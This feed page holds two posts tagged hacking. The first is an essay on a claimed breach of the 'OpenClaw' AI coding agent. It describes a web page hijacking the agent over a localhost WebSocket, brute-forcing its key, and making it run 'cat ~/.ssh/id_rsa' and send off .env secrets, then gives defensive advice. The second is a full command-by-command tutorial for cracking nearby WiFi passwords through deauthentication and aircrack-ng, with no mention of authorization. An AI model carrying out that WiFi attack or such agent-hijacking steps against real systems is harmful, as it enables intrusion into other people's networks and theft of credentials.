Coder Legion - Recent posts tagged hacking

The Enemy in Your Terminal: Why OpenClaw was the Perfect Trojan Horse

Mon, 06 Apr 2026 21:54:48 +0000

You didn't get hacked because you clicked a suspicious link in a spam email. You got hacked because you were trying to be productive.

Think about your workflow right now. You pull a repo, install dependencies, spin up an AI coding assistant to handle the boilerplate, and go make coffee. You assume you are safe because you are behind a firewall. You assume localhost is a fortress.

It isn't. It's an open door.

The OpenClaw breach earlier this year proved that the most dangerous thing in your development environment isn't a virus. It's the agent you gave sudo access to. Let's strip away the hype and look at the autopsy of a disaster. Because while you were sleeping, your "assistant" was busy handing your SSH keys to a machine that thinks a thousand times faster than you do.

We have a chronic habit in software engineering of trusting the tools that make our lives easier. We don't read the source code; we just look at the GitHub stars.

Look at the historical precedent. This didn't start with AI.

Remember the SolarWinds hack? Attackers didn't break into government networks directly. They broke into the IT monitoring software everyone trusted. They poisoned the well.

Then came the XZ Utils backdoor in early 2024. A malicious actor spent years building trust in the open-source community just to slip a microscopic vulnerability into an archiving library that would have compromised SSH globally. We only caught it because a single developer noticed a 500-millisecond delay in his CPU processing. A fraction of a second was the only thing standing between us and total infrastructure collapse.

Add the AnyDesk production breach around the same time. The very tool designed to provide secure remote access was compromised at the source code level.

We keep inviting the enemy inside the gates. But OpenClaw was different. OpenClaw wasn't just a compromised library. It was an active, autonomous participant.

The "ClawJacked" Vulnerability (CVE-2026–25253)

Here is where it gets technical, and where the negligence becomes obvious.

OpenClaw was designed as a local AI agent to orchestrate your codebase. To do this, it ran a local WebSocket server on port localhost:8888. The developers built it with a fatal assumption:

"If the request is coming from localhost, it must be the user. It is inherently safe."

This is lazy engineering.

They ignored a fundamental reality of modern web architecture: Cross-Site WebSocket Hijacking (CSWSH). If you, the developer, have OpenClaw running in your terminal, and you open a browser tab to read an article on a compromised website, the JavaScript on that malicious site can send a payload directly to ws://localhost:8888.

There was no origin validation. There was no rate limiting.

To see how reckless this is, look back at the Ray AI framework vulnerability (CVE-2023–48022). Thousands of companies deployed Ray to scale AI workloads, but the dashboard lacked authentication by default. Hackers simply scanned for exposed ports, dropped cryptominers, and stole credentials. Sound familiar?

With OpenClaw, the attackers didn't even need to scan the internet. They just waited for you to open a browser tab.

Speed Kills: The 100-Millisecond Heist

Once the connection was made, the scale of the attack shifted.

When a human hacks a system, they pause. They run ls. They read the output. They figure out where they are.

An attack agent doesn't pause.

In the time it took you to blink, the malicious script brute-forced the local agent's weak default API key. Because there was no rate limit, it tried five hundred combinations in a quarter of a second. Once authenticated, it didn't download a heavy virus. It just used the permissions you already gave OpenClaw.

It instructed your AI assistant to run:

cat ~/.ssh/id_rsa

It scraped your .env files for AWS keys. It zipped them and sent them via an encrypted outbound request to a dead-drop server.

All of this happened in roughly 150 milliseconds.

This mirrors the Hugging Face token leaks of 2023 and 2024, where developers routinely left API keys exposed in public spaces, and automated bots scraped them instantly. But with OpenClaw, you didn't leave the keys in public. The bot reached into your private machine and took them.

The 2026 Reality Check

We are building systems we barely understand and giving them the keys to the kingdom. We treat AI agents like interns, forgetting that an intern doesn't have the ability to execute five thousand lines of shell commands in a second.

If you are running local agents without strict, containerized boundaries, you are compromised. It is not a matter of if, but when.

Stop relying on default configurations. Stop assuming localhost is a safe harbor. Implement Zero Trust on your own machine:

Containerize your agents
Require explicit biometric or hardware-token approval for terminal executions
Monitor your outbound traffic

The Trojan Horse worked because the Trojans thought it was a gift. Stop accepting gifts without checking what's inside.

Connect With the Author

You can find me across the web here:
✍️ Read more on Medium: @syedahmershah

Join the discussion on Dev.to: @syedahmershah

Deep dives on Hashnode: @syedahmershah

Check my code on GitHub: @ahmershahdev

Connect professionally on LinkedIn: @syedahmershah

All my links in one place on Beacons: Syed Ahmer Shah

Visit my Portfolio Website: ahmershah.dev

You can also find my verified Google Business profile here.

Hack WiFi using Kali Linux

Sat, 10 May 2025 12:45:55 +0000

Today, we will understand how to hack nearby wifi passwords.

Prerequisites:

WiFi should be in range (Of course)
Kali Linux OS (preferred)
Wifi interface(Already present if using laptop)

The tool of kali linux which we'll be using are:

airmon-ng
airodump-ng
aireplay-ng
aircrack-ng

. Let's check out the full steps how to get the password of reachable wifi.

Steps to reproduce:

Go to console & type the following command:

ifconfig

Kill all the current processed & network managers related to wifi interface.

airmon-ng check kill

Start the interface using airmon

airmon-ng start start YOUR_WIFI_INTERFACE_NAME

airmon-ng start start wlan0

To view all the wifi networks around you.

airodump-ng YOUR_INTERFACE_NAME

airodump-ng wlan0mon

airodump-ng is for capturing the packets

After sometime, click on CTRL+C to stop scanning so that we've some wifi networks.
Now, we need to view the clients connected to that network

airodump-ng -c 1 --bssid BSSID_NUMBER/MAC_ADDRESS -w /root YOUR_WIFI_INTERFACE_NAME

airodump-ng -c 1 --bssid 80:35:C1:13:C1:2C -w /root wlan0mon

; -c is for channel number, -w is for the directory you want to save the report file

Now, our approach will be disconnecting all the connected clients from the network and sniff the packets received while connecting back to the same network. When it does so, you'll get something we call WPA handshake in current window.

Open new terminal and disconnect the clients from that network using below code:

aireplay-ng -0 10 -a BSSID_NUMBER/MAC_ADDRESS YOUR_WIFI_INTERFACE_NAME

aireplay-ng -0 10 -a 80:35:C1:13:C1:2C wlan0mon

; aireplay-ng is for injecting the required frames to disconnect clients,
-0 for deauthentication(so that clients will retry to connect),
10 for the deauthentication packets to be send, you can increase or decrease depending upon the time you want to spend on this.

You can now close this window. Capturing the password is now completed from our end. Now, we only need to decrypt the password. To open the passwords file, navigate to the directory you've provided in Step 6 above. You'll get a .cap file. That's our file.
For decrypting the .cap file, we've different techniques. We'll use simple technique using aircrack-ng only. It'll help us crack the password using a wordlist. You can use rockyou.txt wordlist which is most commonly used & is updated on regular basis.

Following is the code to run:

aircrack-ng -a2 -b BSSID_NUMBER/MAC_ADDRESS -w WORDLIST_FILE_LOCATION CAP_FILE_LOCATION

aircrack-ng -a2 -b 80:35:C1:13:C1:2C -w /root/passwords.txt /root/hacking-01.cap

; aircrack-ng is WEP/WPA-PSK key cracking program,
-a2 for WPA2 & -a for WPA network,
-w is the wordlist file location,

If password is successfully cracked, you'll get the confirmation message as "KEY FOUND!"

I've tried to teach how to crack wifi password of your nearby wifi network for free in the simplest manner possible. However, if you're facing any difficulty, do mention it in the comment. Will try to help.

You can follow me on LinkedIn, Instagram or check my latest projects on my GitHub. Also, you can check my portfolio too.

[Keep Hacking] [Thanks]